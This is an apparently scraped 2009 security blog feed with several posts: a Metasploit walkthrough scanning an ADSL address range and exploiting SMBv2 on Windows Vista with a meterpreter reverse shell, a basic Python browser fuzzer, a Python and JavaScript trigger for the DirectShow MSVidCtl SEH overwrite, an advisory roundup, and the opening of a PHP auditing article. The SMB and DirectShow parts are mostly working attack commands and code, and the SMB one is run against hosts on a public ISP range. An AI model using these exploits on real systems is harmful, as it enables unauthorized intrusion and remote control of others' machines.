<p>a note : stephen exploit is no so reliable refer to selecting address in HAL  but it&#8217;s free &#8230;</p>
<p>metasploit 3.3 DEV have this module by default .</p>
<p>and here are steps for exploitation using metasploit</p>
<p>step 0:</p>
<p>run msfconsole.bat</p>
<p>step 1 :</p>
<p>scanning for targets<br />
msf &gt; use auxiliary/scanner/smb/smb2<br />
msf auxiliary(smb2) &gt; set RHOSTS xx.xx.xx.x-xx.xx.xx.254<br />
RHOSTS =&gt;xx.xx.xx.x-xx.xx.xx.254<br />
msf auxiliary(smb2) &gt; set THREADS 50<br />
THREADS =&gt; 50<br />
msf auxiliary(smb2) &gt; run</p>
<p>for example i found on my ADSL range  :</p>
<p>[*] xx.xx.xx.x supports SMB 2 [dialect 255.2] and has been online for 285 hours</p>
<p>step 2 :</p>
<p>now you need check version of founded target (i think it&#8217;s better to know before send your exploit)</p>
<p>msf auxiliary(smb2) &gt; use auxiliary/scanner/smb/version<br />
msf auxiliary(version) &gt; set RHOSTS xx.xx.xx.x<br />
RHOSTS =&gt; xx.xx.xx.x<br />
msf auxiliary(version) &gt; run</p>
<p>[*] xx.xx.xx.x is running Windows 7 Ultimate (Build 7100) (language: Unknown)<br />
[*] Auxiliary module execution completed<br />
msf auxiliary(version) &gt; set RHOSTS xx.xx.xx.x<br />
RHOSTS =&gt; xx.xx.xx.x<br />
msf auxiliary(version) &gt; run</p>
<p>[*] xx.xx.xx.x  is running Windows 7 Ultimate (Build 7229) (language: Unknown)<br />
[*] Auxiliary module execution completed<br />
msf auxiliary(version) &gt; set RHOSTS xx.xx.xx.x<br />
RHOSTS =&gt; xx.xx.xx.x<br />
msf auxiliary(version) &gt; run</p>
<p>[*] xx.xx.xx.x is running Windows Vista Home Basic Service Pack 2 (language: Unknown)<br />
[*] Auxiliary module execution completed</p>
<p>as you may noticed i just found one windows vista and two others are windows 7 .this exploit will work against vista sp1-2 and windows 2008 (not rc2)</p>
<p>step 3 :</p>
<p>now you can set and send exploit</p>
<p>msf auxiliary(version) &gt; use exploit/windows/smb/smb2_negotiate_func_index<br />
msf exploit(smb2_negotiate_func_index) &gt; set PAYLOAD windows/meterpreter/reverse_tcp<br />
PAYLOAD =&gt; windows/meterpreter/reverse_tcp<br />
set msf exploit(smb2_negotiate_func_index) &gt; set LPORT 5678<br />
LPORT =&gt; 5678<br />
msf exploit(smb2_negotiate_func_index) &gt; set LHOST xx.xx.xx.x<br />
LHOST =&gt; xx.xx.xx.x<br />
msf exploit(smb2_negotiate_func_index) &gt; set RHOST xx.xx.xx.x<br />
RHOST =&gt; xx.xx.xx.x<br />
msf exploit(smb2_negotiate_func_index) &gt; exploit</p>
<p>and here is output of metasploit exploit on my target :</p>
<p style="text-align: center;"><img class="aligncenter" title="SMBv2 Exploit" src="http://i35.tinypic.com/2mw6nvo.png" alt="" width="557" height="234" /></p>
<p>note : i will try to have a technical detail post  for exploitation and also my version of exploit for you soon.</p>
<p>happy hunting</p>
<p>shahin</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1200px; width: 1px; height: 1px;">xx.xx.xx.x</div>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/10/exploiting-vista-2008-using-smbv2-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>writing a Browser fuzzer !!!</title>
		<link>http://www.abysssec.com/blog/2009/08/how-to-write-browser-fuzzer/</link>
		<comments>http://www.abysssec.com/blog/2009/08/how-to-write-browser-fuzzer/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 19:42:12 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Fuzzing]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=368</guid>
		<description><![CDATA[Hello all
in this post , i wanna talk about web browser Fuzzing  and auditing.
web browsers , such as FireFox , Opera , Internet Explorer  and etc .. , are very convertible with new web technologies.
For example : 
when html5 comes , Firefox added html5 features to itself too.  and a clever Attacker could recognizing  this [...]]]></description>
			<content:encoded><![CDATA[<p>Hello all<br />
in this post , i wanna talk about web browser Fuzzing  and auditing.<br />
web browsers , such as FireFox , Opera , Internet Explorer  and etc .. , are very convertible with new web technologies.</p>
<p><strong>For example : </strong><br />
when html5 comes , Firefox added html5 features to itself too.  and a clever Attacker could recognizing  this change and we will be able to find Security holes .</p>
<p>for more information please read :</p>
<p>w3.org publish paper with this title: HTML 5 differences from HTML 4<br />
<a href="http://www.w3.org/TR/2009/WD-html5-diff-20090212/">http://www.w3.org/TR/2009/WD-html5-diff-20090212/</a><br />
and take HTML5 Overview :<br />
<a href="http://dev.w3.org/html5/spec/Overview.html">http://dev.w3.org/html5/spec/Overview.html</a></p>
<p>please  pay attention to differences between FF3 &amp; FF3.5 :</p>
<blockquote><p>These changes include support for the &lt;video&gt; and &lt;audio&gt; tags as defined in the HTML 5 specification, with a goal to offer video playback without being encumbered by patent issues associated with many video technologies.</p>
<p>Cross-site XMLHttpRequests (XHR), which can allow for more powerful web applications and an easier way to implement mashups, are also implemented in 3.5.</p>
<p>A new global JSON object contains native functions to efficiently and safely serialize and deserialize JSON objects, as specified by the ECMAScript 3.1 draft.</p>
<p>Full CSS 3 selector support has been added. Firefox 3.5 uses the Gecko 1.9.1 engine, which includes a few features that were not included in the 3.0 release. Multi-touch support was also added to the release, including gesture support like pinching for zooming and swiping for back and forward.</p></blockquote>
<p>and then milw0rm.com publish new exploit in &#8220;Firefox font tag !&#8221;<br />
<a href="http://www.milw0rm.com/exploits/9137">http://www.milw0rm.com/exploits/9137</a></p>
<p>we are not bloodsucker , we try to act like a  real hacker , Real hacker (Pen-tester i mean)  think about how to find  this type of bug .</p>
<p>since we know about all of  new  features in  new web browsers  such as of FF  and we can test features as a security researcher as well.</p>
<p>Browser Vulnerability Assessment  has tree  step :</p>
<p>1 &#8211; Find <strong>HTML </strong>or <strong>XML </strong>or <strong>javascript </strong>&lt;tag&gt; browser can support , for example :<br />
<a href="http://msdn.microsoft.com/en-us/library/ms533050%28VS.85%29.aspx">http://msdn.microsoft.com/en-us/library/ms533050%28VS.85%29.aspx</a> [IE]</p>
<p>2- find  Properties , Methods , Collections , Events ,Constants , Prototypes , HTML Elements for each &lt;tag&gt; .</p>
<p>3- misuse property of &lt;tag&gt; or fuzzed tag for buffer-overflow and other memory corruption vulnerabilities (in this case)</p>
<p>for example :<br />
we want find memory corruption vulnerability using ,  unbound check in  &lt;font&gt; tag,  in  Internet explorer 8 !:<br />
<span style="text-decoration: underline;"><em> &lt;font color=&#8221;#727272&#8243;&gt;test&lt;/font&gt;</em></span></p>
<p>take a look at  &#8220;MSDN&#8221; :<br />
<a href="http://msdn.microsoft.com/en-us/library/ms535248%28VS.85%29.aspx">http://msdn.microsoft.com/en-us/library/ms535248%28VS.85%29.aspx</a></p>
<p>second : find &#8220;Attribute&#8221; and &#8220;property&#8221; of &lt;font&gt; tag , such as :<br />
&#8216;color&#8217;, &#8216;face&#8217;, &#8217;size&#8217;, &#8216;class&#8217;, &#8216;id&#8217;, &#8217;style&#8217;, &#8216;title&#8217;, &#8216;dir&#8217;, &#8216;lang&#8217;, &#8216;accesskey&#8217;, &#8216;tabindex&#8217;</p>
<p>third  : build random character for &#8220;overflows &#8221; , &#8220;FormatString&#8221;  , and other memory corruptions &#8230;</p>
<p><span style="color: #ff6600;">for example to be more clear i wrote a really basic fuzzer in python :<br />
</span></p>
<p><span style="color: #ff6600;">(for sure this is not a commercial fuzzer)<br />
</span></p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;"># Abysssec Inc public material</span>
<span style="color: #808080; font-style: italic;"># Simple Browser Fuzzer</span>
<span style="color: #808080; font-style: italic;"># www.Abysssec.com</span>
<span style="color: #808080; font-style: italic;">#garbage char</span>
overflows = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'A'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">10</span>, <span style="color: #483d8b;">'A'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">20</span>, <span style="color: #483d8b;">'A'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">100</span>, <span style="color: #483d8b;">'A'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">200</span><span style="color: black;">&#93;</span>
fmtstring = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'%n%n%n%n%n'</span>, <span style="color: #483d8b;">'%p%p%p%p%p'</span>, <span style="color: #483d8b;">'%s%s%s%s%s'</span>, <span style="color: #483d8b;">'%d%d%d%d%d'</span>, <span style="color: #483d8b;">'%x%x%x%x%x'</span><span style="color: black;">&#93;</span>
numbers   = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'0'</span>, <span style="color: #483d8b;">'-0'</span>, <span style="color: #483d8b;">'1'</span>, <span style="color: #483d8b;">'-1'</span>, <span style="color: #483d8b;">'32767'</span>, <span style="color: #483d8b;">'-32768'</span>, <span style="color: #483d8b;">'2147483647'</span>, <span style="color: #483d8b;">'-2147483647'</span>, <span style="color: #483d8b;">'2147483648'</span>, <span style="color: #483d8b;">'-2147483648'</span><span style="color: black;">&#93;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># FONT property </span>
fontpropery = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'color'</span>, <span style="color: #483d8b;">'face'</span>, <span style="color: #483d8b;">'size'</span>, <span style="color: #483d8b;">'class'</span>, <span style="color: #483d8b;">'id'</span>, <span style="color: #483d8b;">'style'</span>, <span style="color: #483d8b;">'title'</span>, <span style="color: #483d8b;">'dir'</span>, <span style="color: #483d8b;">'lang'</span>, <span style="color: #483d8b;">'accesskey'</span>, <span style="color: #483d8b;">'tabindex'</span><span style="color: black;">&#93;</span>
&nbsp;
&nbsp;
<span style="color: #808080; font-style: italic;">#basic Automated Fuzzer :</span>
i = <span style="color: #ff4500;">0</span> 
&nbsp;
&nbsp;
<span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> fontpropery:
     <span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> overflows:
    	tag = <span style="color: #483d8b;">&quot;&lt;font &quot;</span> + x + <span style="color: #483d8b;">&quot;='&quot;</span>  + y + <span style="color: #483d8b;">&quot;'&gt;TEST&lt;/font&gt;&quot;</span>
    	i = i + <span style="color: #ff4500;">1</span>
	<span style="color: #008000;">file</span> = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span> <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;.html&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'&lt;head&gt;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;1; url='</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>i+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> + <span style="color: #483d8b;">'.html&quot;&gt;&lt;/head&gt;'</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span>tag<span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
     <span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> fmtstring:
    	tag =  <span style="color: #483d8b;">&quot;&lt;font &quot;</span> + x + <span style="color: #483d8b;">&quot;='&quot;</span>  + y + <span style="color: #483d8b;">&quot;'&gt;TEST&lt;/font&gt;&quot;</span>
    	i = i + <span style="color: #ff4500;">1</span>
	<span style="color: #008000;">file</span> = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span> <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;.html&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'&lt;head&gt;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;1; url='</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>i+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> + <span style="color: #483d8b;">'.html&quot;&gt;&lt;/head&gt;'</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span>tag<span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
     <span style="color: #ff7700;font-weight:bold;">for</span> y <span style="color: #ff7700;font-weight:bold;">in</span> numbers:
    	tag =  <span style="color: #483d8b;">&quot;&lt;font &quot;</span> + x + <span style="color: #483d8b;">&quot;='&quot;</span>  + y + <span style="color: #483d8b;">&quot;'&gt;TEST&lt;/font&gt;&quot;</span>
    	i = i + <span style="color: #ff4500;">1</span>
	<span style="color: #008000;">file</span> = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span> <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span> + <span style="color: #483d8b;">&quot;.html&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'&lt;head&gt;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;1; url='</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>i+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> + <span style="color: #483d8b;">'.html&quot;&gt;&lt;/head&gt;'</span><span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span>tag<span style="color: black;">&#41;</span>
	<span style="color: #008000;">file</span>.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>for start fuzzing , add refresh page with next page . [for start fuzz click 1.html]</p>
<p><strong>another way :</strong></p>
<p>&#8220;Jeremy Brown&#8221;  developed this a fuzzer for general browser fuzzing&#8221; :</p>
<ol>
<li>Written in PERL</li>
<li>CSS/DOM/HTML/JS fuzzing comprehensive</li>
<li>Specialized functions for fuzz page generation &amp; writing</li>
<li>Decent file structure easily supporting add/del/modification</li>
<li>3rd generation [unlimited style, web] fuzzing oracle implemented</li>
</ol>
<p><a href="http://www.krakowlabs.com/dev/fuz/bf2/bf2.pl.txt">http://www.krakowlabs.com/dev/fuz/bf2/bf2.pl.txt</a></p>
<p>this fuzzer is good but it&#8217;s really simple too and can&#8217;t find new vulnerabilities without modifying but   you can extend it for new method of browser &lt;tag &gt; fuzz .</p>
<p>more info :</p>
<p><a href="http://www.krakowlabs.com/dev/fuz/bf2/bf2_doc.txt">http://www.krakowlabs.com/dev/fuz/bf2/bf2_doc.txt</a></p>
<p><strong>Browser Auditing :</strong></p>
<p>browser source code auditing  is actually white-box testing  and only is useful when you have  an open source browser like  Firefox  and &#8230;. .</p>
<p>source code auditing is really practical , but need higher then  knowledge in programming (always C/C++)<br />
for example , in firefox :<br />
you can download all versions  source code from here :<br />
<a href="ftp://ftp.mozilla.org/pub/mozilla.org/firefox/releases">ftp://ftp.mozilla.org/pub/mozilla.org/firefox/releases</a></p>
<p>more source code of FF written by C++ , my interested  C++ source code Auditor is : CPPcheck<br />
<a href="http://sourceforge.net/apps/mediawiki/cppcheck">http://sourceforge.net/apps/mediawiki/cppcheck</a></p>
<p>i,m sorry about length of this post . this post is not really deep but take my apology because we are really busy.</p>
<p>and this write-up is for  tell you we are &#8220;not dead&#8221;</p>
<p>wait for out new advisories + exploits soon as soon possible</p>
<p>god speed you</p>
<p>Daphne<br />
&#8212;&#8212;&#8212;&#8211;<br />
unfortunately  , we had mistake in our simple fuzzer , now edit &#038; repaired .<br />
thanks .<br />
Daphne /</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/08/how-to-write-browser-fuzzer/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Microsft Directshow and MPEG-2 Exploitation</title>
		<link>http://www.abysssec.com/blog/2009/07/microsft-directshow-and-mpeg-2-exploitation/</link>
		<comments>http://www.abysssec.com/blog/2009/07/microsft-directshow-and-mpeg-2-exploitation/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 17:31:13 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=359</guid>
		<description><![CDATA[hello we are really sorry for too late updates.
but we are busy but i have some good news and i will share with you soon . for  now i want to have short talk about new DirectShow vulnerabilities  one of this vulnerability is more fun and exploited in the wild in past days .and now [...]]]></description>
			<content:encoded><![CDATA[<p>hello we are really sorry for too late updates.</p>
<p>but we are busy but i have some good news and i will share with you soon . for  now i want to have short talk about new DirectShow vulnerabilities  one of this vulnerability is more fun and exploited in the wild in past days .and now exploit is  available in the wild.</p>
<p>anyway here is orginal advisory  (another good vulnerability from alex wheeler):</p>
<p>http://www.microsoft.com/technet/security/advisory/972890.mspx</p>
<p>this vulnerability can be exploit using  varient browser exploitation method like Heap Spray.</p>
<p>and flowing simple script can trigger vulnerabilty :</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span> , <span style="color: #dc143c;">os</span>
&nbsp;
gif =  <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF&quot;</span>    <span style="color: #808080; font-style: italic;"># End of SEH chain</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span>    <span style="color: #808080; font-style: italic;"># SE Handler</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
&nbsp;
fp = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;directshow.gif&quot;</span>,<span style="color: #483d8b;">&quot;wb&quot;</span><span style="color: black;">&#41;</span>
fp.<span style="color: black;">write</span><span style="color: black;">&#40;</span>gif<span style="color: black;">&#41;</span>
fp.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> myObject<span style="color: #339933;">=</span>document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'object'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
DivID.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>myObject<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">width</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'1'</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">height</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'1'</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">data</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'directshow.gif;
// Vulnerable ID
myObject.classid='</span>clsid<span style="color: #339933;">:</span>0955AC62<span style="color: #339933;">-</span>BF2E<span style="color: #339933;">-</span>4CBA<span style="color: #339933;">-</span>A2B9<span style="color: #339933;">-</span>A63F772D46CF<span style="color: #3366CC;">';</span></pre></div></div>

<p style="text-align: center;"><img class="aligncenter" title="stack" src="http://i27.tinypic.com/ju7srl.png" alt="" width="538" height="323" /></p>
<p style="text-align: center;">here you can see overwritten SEH</p>
<p style="text-align: center;"><img class="aligncenter" title="Spray" src="http://i30.tinypic.com/b9g36d.png" alt="" width="503" height="233" />and here you can see Spared Heap</p>
<p style="text-align: center;">
<p style="text-align: center;"><img class="aligncenter" title="Shell" src="http://i32.tinypic.com/243546o.png" alt="" width="468" height="125" /></p>
<p style="text-align: center;">finally as you can see here we got a shell</p>
<p style="text-align: center;">
<p style="text-align: left;">using methods like java-script obfuscation and shirking variables can make this exploit more dangerous . and you can find this exploit at :</p>
<p style="text-align: left;">http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/browser/msvidctl_mpeg2.rb</p>
<p style="text-align: left;">and:</p>
<p style="text-align: left;">http://milw0rm.com/exploits/9108</p>
<p style="text-align: left;">Happy Hunting.</p>
<p style="text-align: left;">PS : i will try to have a technical post soon as soon possible</p>
<p style="text-align: left;">Cheers .</p>
<p style="text-align: left;">shahin</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/07/microsft-directshow-and-mpeg-2-exploitation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>webapp Advisory + not dead just busy !!!</title>
		<link>http://www.abysssec.com/blog/2009/05/not-dead-just-busy/</link>
		<comments>http://www.abysssec.com/blog/2009/05/not-dead-just-busy/#comments</comments>
		<pubDate>Fri, 22 May 2009 11:20:24 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=331</guid>
		<description><![CDATA[hello to all of our dear reades .
we are not dead , just really busy in doing our projects . but there is a few notes  I&#8217;d like to enclose with you  .first of all about 2 Web Based vulnerability we&#8217;ve report to milw0rm .  we haven&#8217;t free time to working on educational sources . [...]]]></description>
			<content:encoded><![CDATA[<p>hello to all of our dear reades .</p>
<p>we are not dead , just really busy in doing our projects . but there is a few notes  I&#8217;d like to enclose with you  .first of all about 2 Web Based vulnerability we&#8217;ve report to milw0rm .  we haven&#8217;t free time to working on educational sources . and those vulnerability was special for us because those portal was commercial portals uses for our &#8220;government&#8221;  , &#8220;private&#8221; web sites. and we&#8217;ve report those for helping our autonomous applications .</p>
<p>by the way if you like to see those vulnerabilities here you are :</p>
<p>first <a class="style14" href="http://milw0rm.com/exploits/8718" target="_blank">DOURAN Portal &lt;= 3.9.0.23 Multiple Remote Vulnerabilities</a></p>
<p>second <a class="style14" href="http://milw0rm.com/exploits/8719" target="_blank">Dana Portal Remote Change Admin Password Exploit</a></p>
<p>third about <a href="http://milw0rm.com/exploits/8595">adobe</a> exploit my next  writeup will be about PDF hacking / exploiting stuff (soon) .</p>
<p>and finally about future :</p>
<p>we believe to &#8220;no more free bugs&#8221; so after reporting a few more vulnerabilities / exploit maybe we don&#8217;t report more transparent / reliable exploit (as past) . maybe just PoC&#8217;s or just papers or just advisories titles or &#8230; . but who knows ?!</p>
<p>then :</p>
<p>we will try to update site with respectable index and more post on our blogs but you should take our apology for our late and unfaithfulness .</p>
<p>and final note :</p>
<p>unfortunately for a few reasons we disabled  commenting system on blogs but feel free to contact us with our mails.</p>
<p>for now you can use admin [at] abysssec.com .</p>
<p>keep on to visit us .</p>
<p>hope to see you soon .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/05/not-dead-just-busy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>20 ways to php Source code fuzzing (Auditing)</title>
		<link>http://www.abysssec.com/blog/2009/03/php_fuzz_audit/</link>
		<comments>http://www.abysssec.com/blog/2009/03/php_fuzz_audit/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 05:39:10 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Fuzzing]]></category>
		<category><![CDATA[Pen-test Method]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=324</guid>
		<description><![CDATA[Hello .
This article is only for who attend php as well and really knowing how to program In PHP.
When we talk about PHP Vulnerability discovery, we forget this Question:
What types of bugs?
When we can answer this Question, we will gain to find vulnerability as well as drink some water.
Reading in  this article :
Section 1 : [...]]]></description>
			<content:encoded><![CDATA[<p>Hello .</p>
<p>This article is only for who attend php as well and really knowing how to program In PHP.</p>
<p>When we talk about PHP Vulnerability discovery, we forget this Question:<br />
<strong>What types of bugs?</strong></p>
<p>When we can answer this Question, we will gain to find vulnerability as well as drink some water.</p>
<p><em>Reading in  this article :</em></p>
<p>Section 1 : (20 ways to PHP source code Auditing &#8211; PHP Fuzzing)<br />
1- Cross Site Scripting<br />
2- SQL Injection [medium]<br />
3- HTTP Response Splitting [Medium]<br />
4- Dynamic Evaluation Vulnerabilities [High]<br />
5- Process Control / PHP Code Injection (HIGH)<br />
6- Local / Remote file inclusion (High)<br />
7 – File Management (HIGH)<br />
8- Buffer overflows (High, But Hard Usage)<br />
9- Cookie / Session injection / Fixation / [High]<br />
10 – Denial Of service [Medium, But Hard Assessment]:<br />
11 &#8211; XPath Injection [XML Functions]<br />
12 &#8211; Often Misused: File Uploads (High)<br />
13 &#8211; Un-Authorize summon of Functionality / File (Medium)<br />
14 &#8211; Authentication Bypass with Brute Force (Low)<br />
15 &#8211; Insecure Randomness Session / Cookie / Backup files (Medium)<br />
16 &#8211; Informative details in HTML Comments (Low)<br />
17 &#8211; Default unnecessary installation files (medium)<br />
18 – Regular Expression Vulnerability (High)<br />
19 – Resource Injection (Medium)<br />
20 – Week Password / Encryption: (Low)</p>
<p>Section 2:<br />
Automatic PHP Auditor source code</p>
<p>This article is not a full reference about PHP source code security review (a.k.a auditing) but I tried to do this work in my short time as well. So please take my apology about all of mistakes (maybe) I made during completing this article.  I’m not sure but maybe I’ve release future version of this article that contain a few more advanced methods.</p>
